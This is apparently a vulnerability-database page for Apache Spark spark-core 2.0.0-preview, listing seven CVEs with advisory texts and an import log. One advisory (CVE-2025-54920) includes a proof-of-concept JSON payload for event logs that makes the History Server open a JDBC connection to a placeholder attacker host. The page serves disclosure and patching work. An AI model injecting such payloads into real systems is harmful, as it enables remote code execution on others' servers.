Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:maven/org.apache.spark/spark-core_2.11@2.0.0-preview
purl pkg:maven/org.apache.spark/spark-core_2.11@2.0.0-preview
Next non-vulnerable version None.
Latest non-vulnerable version None.
Risk 10.0
Vulnerabilities affecting this package (7)
Vulnerability Summary Fixed by
VCID-1gtx-thb1-9ud6
Aliases:
CVE-2025-54920
GHSA-jwp6-cvj8-fw65
Apache Spark: Spark History Server Code Execution Vulnerability This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. ## Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. ## Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. ## Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: ``` { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } ``` 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. ## Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system. There are no reported fixed by versions.
VCID-6he5-ksrc-8kck
Aliases:
CVE-2017-12612
GHSA-8rhc-48pp-52gr
PYSEC-2017-147
In Apache Spark 1.6.0 until 2.1.1, the launcher API performs unsafe deserialization of data received by its socket. This makes applications launched programmatically using the launcher API potentially vulnerable to arbitrary code execution by an attacker with access to any user account on the local machine. It does not affect apps run by spark-submit or spark-shell. The attacker would be able to execute code as the user that ran the Spark application. Users are encouraged to update to version 2.2.0 or later.
2.1.2
Affected by 6 other vulnerabilities.
VCID-adht-u2kn-j3hh
Aliases:
CVE-2017-7678
GHSA-r34r-f84j-5x4x
Cross-site Scripting It is possible for an attacker to take advantage of a user's trust in the server to trick them into visiting a link that points to a shared Spark cluster and submits data including MHTML to the Spark master, or history server. This data, which could contain a script, would then be reflected back to the user and could be evaluated and executed by MS Windows-based clients. It is not an attack on Spark itself, but on the user, who may then execute the script inadvertently when viewing elements of the Spark web UIs.
2.1.2
Affected by 6 other vulnerabilities.
2.2.0
Affected by 6 other vulnerabilities.
VCID-as3y-ffvw-rube
Aliases:
CVE-2018-17190
GHSA-phg2-9c5g-m4q7
Improper Authentication In all versions of Apache Spark, the standalone resource manager accepts code to execute on a `master` host, that then runs that code on `worker` hosts. The master itself does not, by design, execute user code. A specially-crafted request to the master can, however, cause the master to execute code too. Note that this does not affect standalone clusters with authentication enabled. While the master host typically has less outbound access to other resources than a worker, the execution of code on the master is nevertheless unexpected. There are no reported fixed by versions.
VCID-m3tv-j5mk-4ufj
Aliases:
CVE-2018-11804
GHSA-62g2-m955-v383
Improper Input Validation The Apache Spark Maven-based build includes a convenience script, `build/mvn`, that downloads and runs a zinc server to speed up compilation. It has been included in release branches since, up to and including master. This server will accept connections from external hosts by default. A specially-crafted request to the zinc server could cause it to reveal information in files readable to the developer account running the build.
2.2.0
Affected by 6 other vulnerabilities.
VCID-pa42-1gk4-9yhj
Aliases:
CVE-2018-11770
GHSA-w4r4-65mg-45x2
Improper Authentication Apache Spark standalone master exposes a REST API for job submission, in addition to the submission mechanism used by spark-submit. In standalone, the config property `spark.authenticate.secret` establishes a shared secret for authenticating requests to submit jobs via spark-submit. However, the REST API does not use this or any other authentication mechanism, and this is not adequately documented. In this case, a user would be able to run a driver program without authenticating, but not launch executors, using the REST API.
2.3.3
Affected by 2 other vulnerabilities.
VCID-vqmm-ru8x-ukcx
Aliases:
CVE-2019-10099
GHSA-fp5j-3fpf-mhj5
PYSEC-2019-114
Prior to Spark 2.3.3, in certain situations Spark would write user data to local disk unencrypted, even if spark.io.encryption.enabled=true. This includes cached blocks that are fetched to disk (controlled by spark.maxRemoteBlockSizeFetchToMem); in SparkR, using parallelize; in Pyspark, using broadcast and parallelize; and use of python udfs.
2.3.3
Affected by 2 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-19T18:05:35.273056+00:00 GitLab Importer Affected by VCID-1gtx-thb1-9ud6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2025-54920.yml 38.4.0
2026-04-16T21:51:32.508770+00:00 GitLab Importer Affected by VCID-m3tv-j5mk-4ufj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-11804.yml 38.4.0
2026-04-16T20:56:44.195345+00:00 GitLab Importer Affected by VCID-vqmm-ru8x-ukcx https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2019-10099.yml 38.4.0
2026-04-16T20:50:20.601189+00:00 GitLab Importer Affected by VCID-as3y-ffvw-rube https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-17190.yml 38.4.0
2026-04-16T20:49:48.114431+00:00 GitLab Importer Affected by VCID-pa42-1gk4-9yhj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-11770.yml 38.4.0
2026-04-16T20:49:47.136221+00:00 GitLab Importer Affected by VCID-6he5-ksrc-8kck https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2017-12612.yml 38.4.0
2026-04-16T20:37:17.858759+00:00 GitLab Importer Affected by VCID-adht-u2kn-j3hh https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2017-7678.yml 38.4.0
2026-04-11T23:07:31.510083+00:00 GitLab Importer Affected by VCID-m3tv-j5mk-4ufj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-11804.yml 38.3.0
2026-04-11T22:07:44.968934+00:00 GitLab Importer Affected by VCID-vqmm-ru8x-ukcx https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2019-10099.yml 38.3.0
2026-04-11T22:00:59.450935+00:00 GitLab Importer Affected by VCID-as3y-ffvw-rube https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-17190.yml 38.3.0
2026-04-11T22:00:46.092321+00:00 GitLab Importer Affected by VCID-pa42-1gk4-9yhj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-11770.yml 38.3.0
2026-04-11T22:00:45.048198+00:00 GitLab Importer Affected by VCID-6he5-ksrc-8kck https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2017-12612.yml 38.3.0
2026-04-11T21:47:55.700834+00:00 GitLab Importer Affected by VCID-adht-u2kn-j3hh https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2017-7678.yml 38.3.0
2026-04-02T23:15:49.408270+00:00 GitLab Importer Affected by VCID-m3tv-j5mk-4ufj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-11804.yml 38.1.0
2026-04-02T22:20:29.847090+00:00 GitLab Importer Affected by VCID-vqmm-ru8x-ukcx https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2019-10099.yml 38.1.0
2026-04-02T22:14:01.825202+00:00 GitLab Importer Affected by VCID-as3y-ffvw-rube https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-17190.yml 38.1.0
2026-04-02T22:13:49.957097+00:00 GitLab Importer Affected by VCID-pa42-1gk4-9yhj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-11770.yml 38.1.0
2026-04-02T22:13:48.985698+00:00 GitLab Importer Affected by VCID-6he5-ksrc-8kck https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2017-12612.yml 38.1.0
2026-04-02T22:01:50.317936+00:00 GitLab Importer Affected by VCID-adht-u2kn-j3hh https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2017-7678.yml 38.1.0
2026-04-01T17:35:52.829883+00:00 GitLab Importer Affected by VCID-m3tv-j5mk-4ufj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-11804.yml 38.0.0
2026-04-01T16:38:16.222927+00:00 GitLab Importer Affected by VCID-vqmm-ru8x-ukcx https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2019-10099.yml 38.0.0
2026-04-01T16:31:32.212012+00:00 GitLab Importer Affected by VCID-as3y-ffvw-rube https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-17190.yml 38.0.0
2026-04-01T16:31:19.656900+00:00 GitLab Importer Affected by VCID-pa42-1gk4-9yhj https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2018-11770.yml 38.0.0
2026-04-01T16:31:18.783445+00:00 GitLab Importer Affected by VCID-6he5-ksrc-8kck https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2017-12612.yml 38.0.0
2026-04-01T16:19:02.791591+00:00 GitLab Importer Affected by VCID-adht-u2kn-j3hh https://gitlab.com/gitlab-org/advisories-community/-/blob/main/maven/org.apache.spark/spark-core_2.11/CVE-2017-7678.yml 38.0.0